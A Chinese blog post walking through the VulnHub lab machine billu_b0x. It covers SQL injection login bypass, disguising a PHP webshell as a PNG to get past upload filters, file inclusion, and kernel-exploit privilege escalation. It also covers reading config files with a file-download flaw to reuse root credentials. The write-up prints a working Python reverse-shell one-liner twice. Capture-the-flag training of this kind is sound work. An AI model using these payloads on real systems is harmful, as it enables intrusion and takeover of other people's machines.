Vulnhub打靶记录:billu_b0x

相关信息


kali:10.0.0.9/24

靶机:10.0.0.20/24

靶机介绍:[billu: b0x ~ VulnHub](https://www.vulnhub.com/entry/tre-1,483/)

靶机下载:https://download.vulnhub.com/billu/Billu_b0x.zip

目标:root权限

难度:中(两种渗透思路)

未提及的相关知识点,命令和代码等等可以查看我其他三个blog:

注意:这个靶机在导入时需要勾选下面这个选项,否者无法正常发现主机。该选项表示保留靶机原来的MAC地址,不进行改变。

Snipaste_2023-07-09_15-57-51

文字思路


全流程思路:

  • 主机发现 端口扫描
  • 信息搜集:web路径爬取非常重要
  • sql注入(sqlmap跑不出来):非常看运气,不然很难发现。同时也然我们看到非常规的sql注入测试。
  • 文件包含 文件上传
  • 代码审计:解释了sql注入的原因
  • 内核漏洞:使用的这个脚本非常常用
  • 文件下载:通过这个漏洞实现代码审计和敏感配置文件的读取
  • 密码复用

下意识的操作

  1. web应用中的phpmyadmin的主目录中有个 config.inc[.php]的文件,里面包含了非常敏感的一些信息,在渗透测试中需要给予高度的重视。
  2. web的参数既可以在url中以GET方法获取,也可以在web请求体中以POST方法获取。

主要的知识点

  • 文件包含,下载
  • sql注入:其中特殊字符非常重要

具体流程


信息搜集

  1. 主机发现,端口扫描,版本扫描 。由于使用了脚本可以看出服务的相关cookie和相关的flag未设置。

    Snipaste_2023-07-10_18-14-39
  2. 登陆web80首页面,发现提示需要进行sql注入。

    Snipaste_2023-07-10_18-15-25
    • 万能密码:使用简单的万能密码如:' or 1=1; --类似密码是无法进入的。

      Snipaste_2023-07-23_17-05-10
    • burpsuite的载荷上传爆破:

      将用户名和密码设置为两个变量,选择Cluster bomb攻击模式,建议使用burpsuite专业版速度才够快。这非常需要足够的幸运,不然进本跑不出来。

      1. 用户名的载荷:/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt

      2. 密码载荷:这个使用键盘上的所有特殊字符进行尝试。

  3. 通过返回包的长度和渲染出来的网页内容,可以确定sql注入的组合为:or 0=0 #\

    image-20230724111528808

文件上传漏洞

  1. 键入获取的sql注入组合成功的登陆进行后台页面,发现后台有两个用户。

    Snipaste_2023-07-23_16-52-25

    进一步浏览网页功能发现一个可以进行图片上传的地方,尝试进行PHP一句话木马上传并不成功,发现目标服务器是存在文件过滤的。(一句话木马:

    Snipaste_2023-07-23_19-30-42

    Snipaste_2023-07-23_16-56-23

  2. 使用burpsuite抓包,进行文件上传的绕过,可以轻松的发现靶机对上传文件进行了:文件后缀,MIME Types,文件头,这三种过滤方式。对应的进行绕过就好,需要注意png的文件头是:GIF89a;

    Snipaste_2023-07-23_17-13-20

    可以发现上传的图片显示在用户页上,只不过无法加载,点击上传图片的连接获得它在靶机上保存的相对位置/uploaded_images/payload.png

    Snipaste_2023-07-23_20-03-19

    image-20230723200742414

文件包含/突破边界

虽然恶意图片成功上传,但是其是以 .png为结尾进行上传的,里面的恶意PHP代码是无法被PHP成功解析的。所以进一步进行寻找文件包含漏洞就显得额外重要。

  1. 各种方法已经试过,如源码读取,参数猜解都没有很好的思路,就差路径爬取了。键入下列命令:dirsearch -u http://10.0.0.20 ,重点关注add.php文件。

    Snipaste_2023-07-23_19-38-48
  2. 经过访问后add.phpadd是同一个文件,它们的页面非常非常的熟悉,就是刚刚文件上传漏洞时使用的add功能有一样的排版。所以可以大胆的猜测后台实现图片添加这个功能时,其实是对这个add.php文件进行的调用。

    注意:更为关键的是对add.php文件包含后,将其解析为php文件。

    通过对后台上传图片页面的抓包也可以看出来,有个参数load就是add

    Snipaste_2023-07-23_19-55-47
  3. 既然后台的add功能是通过文件包含来实现的,是否能让其包含指定的任何文件?测试发现居然可以包含 /etc/passwd本地文件。

    Snipaste_2023-07-23_19-57-50

    那么让其包含上传的恶意png文件,它是否也会将其解析为PHP?同时取得上传的cmd参数为 which ncurl编码, 可以发现成功的进行了执行,还确定了靶机上存在nc

    比较奇怪的是恶意代码为$_GET方式接收cmd参数,而我们请求的方式为post,却依然可以使用url传参的方式进行参数传递,不知道为什么。所以最好恶意代码用 $_REQUEST方法来接收参数。

    image-20230723202444225
  4. 但是使用nc发现一直无法成的进行回连到4422端口,使用python才成功进行反弹,记得对下面payload进行url编码。

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.9",4422));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    

提权

  1. 当查看到靶机的内核版本时,不难发现其版本较低。

    image-20230723203954866

  2. 在漏洞库中进行相关参数的搜索,一个经常使用的C语言脚本37292.c,只需要在靶机上编译后执行即可。(在本系列的第一台靶机上就用过该脚本)

    image-20230723204711487

  3. 通过python开启的 http网页服务,让靶机获取该C语言脚本,然后进行编译,再赋予执行权限进行执行发现成功进行提权。

    image-20230723205213674

相关payload


python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.9",4422));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

复盘/相关知识


复盘

另一种提权思路,是通过文件下载漏洞获取敏感信息进行密码复用,而非上面的文件包含漏洞来实现突破边界。

注意文件包含和文件下载漏洞的区别

  1. web路劲爬取的进一步查看,发现几个非常具有特点的文件路劲。

    Snipaste_2023-07-23_19-38-48
    • test[.php]:访问后直接提示有个 file参数,可以大胆猜测其赋值可以为一个文件路径。

      image-20230723212544767

      但是在用它原本的请求方式GET来添加参数时是无法成功的。

      image-20230724105245592

      当修改请求方式为POST时再添加参数就可以发现成功的包含index.php文件,这个漏洞与文件包含漏洞是不同的,本质上是文件下载漏洞,需要注意一下几点确保文件下载成功:

    • index.php:通过test.php对其进行下载,再白盒审计,可以解释 or 1=1 #\为什么能够绕过登陆验证。

      image-20230724110511411

      $run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';	
      # 原语句
      
      $run='select * from auth where  pass=''.$pass.'' and uname=''.$uname.''';	
      # \转译\'的意思,去掉\
      
      $run='select * from auth where  pass='pass' and uname='uname'';		
      # 结合php引用参数的方式,进一步精简
      
      $run='select * from auth where  pass='\' and uname='or 0=0 #'';		
      # 带入恶意参数后
      
      $run='select * from auth where  pass='' and uname='or 0=0
      # 由于\转移'还是',#在PHP中表示单行注释,所以生效的sql语句是select * from auth where  pass='' and uname=,	后面的or 0=0是另外的恒真的逻辑判断进而导致:mysqli_num_rows($result) > 0这个登陆判断为真,然后完成登陆的绕过。
      
    • c.php:下载后可以发现数据库的登陆用户和密码:billu : b0x_billu

      image-20230724110431373

    • phpmy:非常像phpmyadmin这个web应用的文件目录,不妨进行访问。发现其正是PHPmyadmin的后台登陆页面,使用billu : b0x_billu可以成功的登陆到后台,并没有是太大的漏洞,看看就行。(注意进入后台获取密码后进行复用尝试

      image-20230724113445837

      在对这个文件目录进行迭代爬取,发现非常关键的两个配置文件config.inc.php

      Snipaste_2023-07-23_19-40-18

      使用文件下载漏洞后可以查看配置内容,发现一个非常敏感的用户和他的登陆密码:root:roottoor

      image-20230724113929604

  2. 尝试进行ssh登陆,竟然成功以root身份登陆,以这种方式完成打靶。

    image-20230724114122084
posted @ 2023-07-24 12:22  C_CHL  阅读(64)  评论(0编辑  收藏  举报